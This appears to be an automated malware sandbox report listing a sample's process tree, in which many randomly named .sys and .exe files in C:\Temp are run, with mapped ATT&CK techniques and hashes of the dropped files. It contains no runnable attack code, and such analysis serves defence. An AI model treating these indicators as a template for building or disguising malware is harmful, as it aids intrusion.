      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4460,i,3711393448984848167,11932701219783586518,262144 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:10
      4⤵
      PID:4152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3056,i,16056766466770012779,4670113093321790229,524288 --field-trial-handle=2200,i,11129917040797769963,767435377921405552,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
      4⤵
      PID:5692

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4656

C:\Temp\ztrljetrljgeywqo.sys
C:\Temp\ztrljetrljgeywqo.sys
1⤵
- Executes dropped EXE
PID:1152

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4980

C:\Temp\eywqomgeyw.sys
C:\Temp\eywqomgeyw.sys
1⤵
- Executes dropped EXE
PID:4220

C:\Temp\qoigdyvqoi.sys
C:\Temp\qoigdyvqoi.sys
1⤵
- Executes dropped EXE
PID:2232

C:\Temp\igayvqnifa.sys
C:\Temp\igayvqnifa.sys
1⤵
- Executes dropped EXE
PID:1140

C:\Temp\fdanhfdxsp.sys
C:\Temp\fdanhfdxsp.sys
1⤵
- Executes dropped EXE
PID:3304

C:\Temp\pnhfcauspk.sys
C:\Temp\pnhfcauspk.sys
1⤵
- Executes dropped EXE
PID:4880

C:\Temp\zxupmkezxr.sys
C:\Temp\zxupmkezxr.sys
1⤵
- Executes dropped EXE
PID:2840

C:\Temp\zuomgezwrp.sys
C:\Temp\zuomgezwrp.sys
1⤵
- Executes dropped EXE
PID:5584

C:\Temp\ztromgebzw.sys
C:\Temp\ztromgebzw.sys
1⤵
- Executes dropped EXE
PID:1224

C:\Temp\ojgeywqomj.sys
C:\Temp\ojgeywqomj.sys
1⤵
- Executes dropped EXE
PID:5676

C:\Temp\eywqoigdbv.sys
C:\Temp\eywqoigdbv.sys
1⤵
- Executes dropped EXE
PID:3988

C:\Temp\vtnlfdaysq.sys
C:\Temp\vtnlfdaysq.sys
1⤵
PID:5816

C:\Temp\vpnifdxvqn.sys
C:\Temp\vpnifdxvqn.sys
1⤵
PID:5952

C:\Temp\kfdxvpnifa.sys
C:\Temp\kfdxvpnifa.sys
1⤵
PID:2000

C:\Temp\hfcxuspkhc.sys
C:\Temp\hfcxuspkhc.sys
1⤵
PID:5364

C:\Temp\kecwuomhec.sys
C:\Temp\kecwuomhec.sys
1⤵
PID:716

C:\Temp\rmcwtrmjeb.sys
C:\Temp\rmcwtrmjeb.sys
1⤵
PID:5636

C:\Temp\romjebwrom.sys
C:\Temp\romjebwrom.sys
1⤵
PID:5556

C:\Temp\trljdbwtol.sys
C:\Temp\trljdbwtol.sys
1⤵
PID:1304

C:\Temp\ljdayvqnlg.sys
C:\Temp\ljdayvqnlg.sys
1⤵
PID:5900

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

davsqkiday.exe

Path C:\Temp\davsqkiday.exe
Size 384KB
SHA256 474dc5249e6a2d8b45ebd85285655d452a15d76229814f7c6d8e7884db1f0b11
MD5 e1d8c29daec30db08f1f0475c3368499
SHA1 523cba5c14cba234b1e781d2492c103cfb61ad35
SHA512 6415472921d139c15df6cfbd7038c4a59e31174f61a37ec00ceef2ea4251c952c76359ee5c8a78b963483770955e2d2083857037decd80d79a6ca6495d51ce1e
SSDEEP 3072:V9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:3ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T177846B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

eywqomgeyw.sys

Path C:\Temp\eywqomgeyw.sys
Size 293KB
SHA256 b87dbaa30f93e83a0115be84a2e49e36ed0fad58561773dfaa65ff5414f4f09b
MD5 91823e3a927081a11571818debfc857e
SHA1 1119b45b67d9ebe84db082822b17b080bd72b376
SHA512 35bf868bd41f7bbff7fcf4965aa98103d16f2bfe4e210c2fca4ae1a54821f555a3215bf20e35278efc9ef9f16f3f14c3c60c77a1fa4783135a1e5d3ec9f81a4e
SSDEEP 3072:jtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:jIJjiJcbI03GBc3ucY5DCSj
TLSH
T191545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fdanhfdxsp.sys

Path C:\Temp\fdanhfdxsp.sys
Size 293KB
SHA256 3c76ab99051638a5070fcdc0981313a0e13e776681dda5d753e3fc17ec2ca342
MD5 d0f3629a66568a805a948787c1528b49
SHA1 fb4fd5f3f9206f2ba93987d08e64333eb1277aa5
SHA512 fef2dc919b0840e1eeaa9f4c15a02cea0f740159352098de690b18a0d163a7abb077f9bd6a5e56c661eb297cbf0a5fcb8b2acd8351296503ffa9e2de5cccfd1e
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T1DC545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_davsqkiday.exe

Path C:\Temp\i_davsqkiday.exe
Size 384KB
SHA256 4184b23508d0faa2e0ce28ae65d298c66a78bec5041a70105154abbfde4bddc0
MD5 baba593c25b61e043b0421c2614316c0
SHA1 e73a17d9e18b5acb9abff8ea31f57b7c4da86a12
SHA512 8e9174f6c51ad20f32832b9f3ca4020eafab1c8401b46c08590fd0b571c382da12f2f1b1c7d32d5cc3cf98e50a6b230198d79b1493d6699c274d340fb4671445
SSDEEP 3072:q9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:QctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T132846B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_nlidytqoig.exe

Path C:\Temp\i_nlidytqoig.exe
Size 384KB
SHA256 fa582f3567033fef1b6543768a1ce543cf80442e9390f818890ea543973d8880
MD5 d11c0e92ede9b2247572168ef5b268e6
SHA1 d1fed349c78340cdda7bb88938b2e4e30fedd6b4
SHA512 65334b14c8f018e5ca1754d7e8b2b48aa30e8c5aed9512a3e09b3d59a9bb66a9ce36a3e783f63f724188d0464b0e455c0ae1a00ccb37d859d6036393249f375a
SSDEEP 3072:39ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:NctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1D2846B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_rljgbywqoj.exe

Path C:\Temp\i_rljgbywqoj.exe
Size 384KB
SHA256 3e8a1189bc3677c8a2b24cc38c5a3e54903f43900b2209bdccbb15c912fdb52f
MD5 7d25ca3f252ba6e3558d38e7e640cab4
SHA1 cbf731624d1e320708f3c1f2e1b4879143e8b7b7
SHA512 f987c565a7edab5858df8b15d3af9616a5b0d4920b69b552acd0abbc67d7ff474188f3ed46f968792ba188b8334799b01a55c15382f814b4da8b15655a500be6
SSDEEP 3072:D9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:hctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T10F847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93569B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_sqkfzxspki.exe

Path C:\Temp\i_sqkfzxspki.exe
Size 384KB
SHA256 fd916624702da1047d9972b29f9df5c5b9846b6aae9e13496d19e62e496ed1d0
MD5 d9bf85b8c6dee88219e20cb52d514d70
SHA1 842cca1c2a0150435a342d6ab7b59fb54ab2bf0a
SHA512 2238f498a6e5dc019b8bfb7ece5dbb3c6e7556fb9f107f1d3e37be4c1140bd9cfb60d2faef0837ce9f775e6563f1b59ac35d54c7d8070b30c907f769b197a070
SSDEEP 3072:s9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:2ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T17F847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_ytigbywqoi.exe

Path C:\Temp\i_ytigbywqoi.exe
Size 384KB
SHA256 15be5f999a3252d1a5be92b564f51b76eddec89ad200171ba1ae0793dc143351
MD5 8252fefa70af1fd05e60e1e06a2ec527
SHA1 84f8bcfaaafc08b9ad0fa878846f7c84f7b9cb0c
SHA512 deb370180626c3b1a0e082711e0d1a5203c1e44cf1809e7ee7e4b86ee68bb31639742336fe83df1c7f8ba16692d1fd1e0645d5b3468f8806404623b885f05dcc
SSDEEP 3072:Y9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:actFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T124847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

igayvqnifa.sys

Path C:\Temp\igayvqnifa.sys
Size 293KB
SHA256 13ec92d8d829e3241ed0ab4a04d7dec724bdd36162cce62d720962a9081389bd
MD5 f43ff081db91159c1b482fb8a38cbc1c
SHA1 1be755dbcd4430dfbf695ef1a1eb0c1bb529645b
SHA512 0549a6719940675f26b846078cbef1ed84f7a2269406763c4b1126efe82aa9739f5d41fea29e23bf5db5ac36480bf100ad9e5be3835d1e89051ba9b905000be9
SSDEEP 3072:xtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:xIJjiJcbI03GBc3ucY5DCSj
TLSH
T1CC545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nlidytqoig.exe

Path C:\Temp\nlidytqoig.exe
Size 384KB
SHA256 cff4012b96e6fee861ab286a085f155a8f6008f23a9ec6fab18a1b7b10d3aaa7
MD5 23e4d74b50be64454e4bd3cd5364fb1a
SHA1 252fbfb0a4088f84511b13487d362b10b89d5b11
SHA512 796be584d38ca030ca2a2775ba6bddd451b239f01b94e81d292ec875cbb266feedc7aa1cdd73fe99b6a27af21b76b69fd715f4bb44d83809fca587189db36aed
SSDEEP 3072:e9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:8ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T172847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pmcxuspkhe.exe

Path C:\Temp\pmcxuspkhe.exe
Size 384KB
SHA256 74d233967dcea68e4aa33dfc0500a06e4e404ed6086d169387003b8c5ed39e32
MD5 ea29106b7fe0b9a48a97910561eac056
SHA1 37a09214e6daeadfc4529e037f328d9cf2dd4085
SHA512 73b0c975fbde33b49912959220435322a3b46b17e269d472e56deb66566f233bdf978963743845a126e8a9b873a551652b94f87bbb807de1d372ee9baf74977e
SSDEEP 3072:t9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:/ctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T12A847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pnhfcauspk.sys

Path C:\Temp\pnhfcauspk.sys
Size 293KB
SHA256 ac596185b06b758d31222adaabcf894cba575285bbf9bffef7033f1f21c2e61e
MD5 abf732e456e99d907d2cef94f1e429f4
SHA1 e62693e2e8d72ae8440c245c87ae1521522548f3
SHA512 b67d7bbf6981855078c458ac897d81e0438a60956c7d0e30155fc1fb13579c74b10bb4bf079418d5ce89fb967c0da4c074924abd2902bfe704295465a0166ff7
SSDEEP 3072:mtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:mIJjiJcbI03GBc3ucY5DCSj
TLSH
T189545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qoigdyvqoi.sys

Path C:\Temp\qoigdyvqoi.sys
Size 293KB
SHA256 9e3e09b43a6d2fef9a47aa68b8546e8f748ea63976cdaa90ebd2ac596d8a7026
MD5 df3ecb71311768db1fe4def0ade806c7
SHA1 eef2c6ae60264c98acd81666bebcfe51da96d7b8
SHA512 5694d9becfcea9118df9fa6ee71302f8e50127f820e9b726c5482d2f63a6833f93a253d5b5c3b36c4b9f85b3a1b4be50b957830318a6b0fdc90ad566b1dd2b60
SSDEEP 3072:BtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:BIJjiJcbI03GBc3ucY5DCSj
TLSH
T150545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rljgbywqoj.exe

Path C:\Temp\rljgbywqoj.exe
Size 384KB
SHA256 5b46c11220ef284f835ff74a582b81b57de7676ca5c8b5d90e7768e8326af95c
MD5 2f313478f8abf070c2135f0abe24e15d
SHA1 dd8e83dffd3c459500ad9ab804e397b41fea015b
SHA512 e2ce0fae06bb18a1b4bd298ea88b06cf1baf460dfba9fca6d8b79dbda6d4edc00e56235fa9c72e90a59ed29acba32fcccbcdfebe1f816d8a94d23ec4b4186ddb
SSDEEP 3072:Y9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:actFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1A6847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqkfzxspki.exe

Path C:\Temp\sqkfzxspki.exe
Size 384KB
SHA256 8eb1f4d31f263b472b40bb2dd249f8972f4c3223512fd402e951a7ad9b54a4a8
MD5 dc6d9e7c8d5c50baabb40ac1391025af
SHA1 c697b23cdbf35a704287fe7a8bcae71a9c50b178
SHA512 12dc07f4609f582631f474dd7a3b736efba63f6a299ed72b45ebb1477f2f4178ceccb4f107d32b6cb73dba182b7cb1741af39c185bd5a07ddd99a16e28879e2a
SSDEEP 3072:u9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:MctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T13C847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ytigbywqoi.exe

Path C:\Temp\ytigbywqoi.exe
Size 384KB
SHA256 738ffd45e262c8b1a70790c6971b377e415f50df3e18e5a274211412aa5ba4e3
MD5 675ae526db2c5ba4f86b92ccff7b84e3
SHA1 a07c97b8acf90b0a839f05e8ab685ca6c5ce10e3
SHA512 50d48d9db599780d0cd6cdae2b81eb6f6688bb065716b6d99238511a78ae02a118622b9358e354ea14ff17f02247fdd78b65357ed5276de760be6157f7d9c421
SSDEEP 3072:59ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:TctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1B6847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ztrljetrljgeywqo.exe

Path C:\Temp\ztrljetrljgeywqo.exe
Size 384KB
SHA256 6a1b62dd4b6a29431127962faaabd50d94bbcce03db6500f8d38c723b7e7d18f
MD5 3a93c5af3ab45be3990055f35aade527
SHA1 dae6bbb5332e18d4418b6eb8e026edc2aba827f6
SHA512 1ee26739793f29497e80e908b566d98b5912409b53b0fafa4d83f2dedc6de502569b3e10267260d13d4662d4e8acbe94762a037e63f0fe66af9bed6b98de479d
SSDEEP 3072:h9ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:rctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T1F9847B00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ztrljetrljgeywqo.sys

Path C:\Temp\ztrljetrljgeywqo.sys
Size 293KB
SHA256 35af2cb6a5b02ed20bb3469318c1447ee3603a9266c8c64400abf54961e5a6f4
MD5 b8a34ebb989d12a508bb4a609d9c59d0
SHA1 275d3e5e883b4a098d642d57339f7f446448a710
SHA512 1edc74ef0a3328d475b5cf53bb55657121e900aa2a403221182d195d947345d2c286be4310cdc6cd50e79013e39a62ac16074b7f2105c69176fd8b29a80f57b8
SSDEEP 3072:AtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:AIJjiJcbI03GBc3ucY5DCSj
TLSH
T130545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 994380ffd288a5f1a9acc9eb76a487a55b12cc1daec839d811240f6cbdc4da3a
MD5 f5ed4946834be586ac6410ed88740a7c
SHA1 6108ce368e8b3bb8012956bb25606c3b16835c7b
SHA512 76bf60b37c50422ab125edd3da70629e685408a106655a9b7e5cb6aa7b6a9000c76d8ac2f5dc85e58e893b61bef9b539b9488ac894f1fc1338a58944dc9f4711
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P77:fwUQC5VwBIiElEd2K57P77
TLSH
T1E5B3B931457E36BF26E93EE828CF1511B84F3912664895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 e6f2ec3da5a55b94951d91a6f68f09f5b5302626e9b44f9c5ae85087d4b011ce
MD5 8b9572b87c690bba0911ee169fe3145a
SHA1 13949d8863f21886aac212914e50a63f98fc3bb7
SHA512 7e95e8da9da23d57209d6c9e77c4f541610f40a846f3d7f4e86fa753400725decbbb597f6f5a37185d9772cbccee30e292f8166bd22e61b5a143ce28a34d7562
TLSH
T110D080303B15D404D684303B68E1571377258DB124F587495151F12FDC785D5735F1DB
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 285edd241c61b650f4ebb0af692fa8c3d423cd90ceb6cc13a4b1822090ff7f06
MD5 1ee4bd81bebf6a852c6b54515323121f
SHA1 adf27a1ea63272fb43f4920a3b1a89af6bc47898
SHA512 d0806667d6103fe42ef7bf71acd230ca635df50a2173225c0edf389977fa5eb0e18b2e196eeaaf466f38c23aa14f637dbb68a39dea3ce483c41b7f120f6ac9fb
TLSH
T116D012243A159504D684203668A05613662589A164A586495151E11FDC68595635F1AB
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 43be8dd4e6b49ff0fd3a0b661e6b67fc1274dc8fe8407bf994f82c845b0502fa
MD5 ec1f90e5475b2728b151a82ce4105294
SHA1 c01229f0617d5251a59c4e6822290604a75cbef0
SHA512 c273a0a1a1ec69740bfb5f6e5cdf900a9e22226215cdb1be291beded9a15629cd0a83d5f0c3ad9b6cec4e1c7a2c0420e3d99efb147619ac4fba8f6ba5c62246d
TLSH
T10C6170B691726AEBFB2DA07553FA9E9C33B0C49E04072F35E690F2F8CD8676494D6010
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe59a7cf.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe59a7cf.TMP
Size 3KB
SHA256 8e0f88d5e429ed762104af8ff179e8df025ef81fe1c1bdb9fc5304c59a6b4624
MD5 22dfcd14e043bebb2e359f75ccde843b
SHA1 99b55b854ccb3a2b273ad4b4cd66b6c7f46653b6
SHA512 60b90af157aef5312a3179051a312e9508c62b2ba33056db81718ca136bd55a1b211d8998488f3b48151f9d2c4cfe5b1fcf19f98489e75bc1dee19629f703dbf
TLSH
T15F6172B691726AEBFB2DA07553F99E9C33B0C49E04072F35E684F2F8CD4676494D6010
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 ed3c6a1746c91f415f40db1ae6760c7bd669cd53d6731a92009388b0d2f4a373
MD5 3844665c8f3dae29754f41546a43a7c5
SHA1 ca652ca6b79cbbcb4b2d4ae5d74a49feea23a302
SHA512 b3eeb0b997b6fbe3c50c388bda35d2f124cd51b00e3c3a70635b27d6e60cc214f827b1c5422ce0ca3ae729bcf999ee4b16f4fff0d389329093b21812078c3091
TLSH
T12D51CFF7C7E8866EC90156F0BA246E2BCE1D0915832C3D5AC4E4AF1B93F2471D24195F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 07af9a3f9842b9b2c2d1a43d42e2f9f1bf528343572a6e94177e3ee8162b4de5
MD5 f9820640bef228ceec207df59b623083
SHA1 760c062d0a9fc98c4829cb7aa284523fc011e772
SHA512 38d12e19a5df3a907d6d759a84f9862daabc7ec4910ffe0ec44be38f14092014246e7f5cfae9d91892e567ecc2a0a99a9bd7a0389f6fb60b6257178073a115d8
SSDEEP 192:sxRCgR9yM/jK1Ml8wct/fPsueiZfaqzoA8p90/g6+WNCyB/Yw8qG0bIgtJ:sxRCgXCt/fPsuekfani/5J/v3
TLSH
T11C62D916AA2499778CDBD209FA557F63D6F81573A2914E04AEFC8A0C01E7ADD211382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 88a43468056bca8156da9719e553635b330906ee3f7a9c23733d3a54fc1b0b61
MD5 5a9179a66a2ef0b7d23f00e185a4f434
SHA1 a09808f7c0b151c16d8248462f9b43f43f9e359a
SHA512 f781f0f000189b70a4fe09bdceb0326bf3e8fb8182484a7898f90a18d8cff304f3ee63bb04bedfc08f029eb6eb2adc5f84e4011bdf798ef97caba8a3e21616f8
SSDEEP 192:sxRCHR9yM/jK1Ml8UQHct/fPskPiZfaqzoA8pr0/g6+WNCyB/YwIqG0bIgDoJ:sxRCHXq8t/fPskPkfanA/5J/j4
TLSH
T13262C816A9249D778CDBD209FA917F63D6F8557392914E04AEFC8A0C02E7ADD211383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 c0f6921068b7d4bfcb9ada5c3abcadaa03e3faf5a40c28a8f653fcd2db0ef36b
MD5 e391e64680160dda850ea095c2639a96
SHA1 73e52f0312e3bf1e360f1775950eb1cc65d9bd49
SHA512 5073b92b9be8ce442662658e9b398d78e5c60530dc0aa58a4aba8c0f17a0abd9914ae7f1c324292c043bd025f361b0ea53085b80fcc95645a4d1aaa80105a3f2
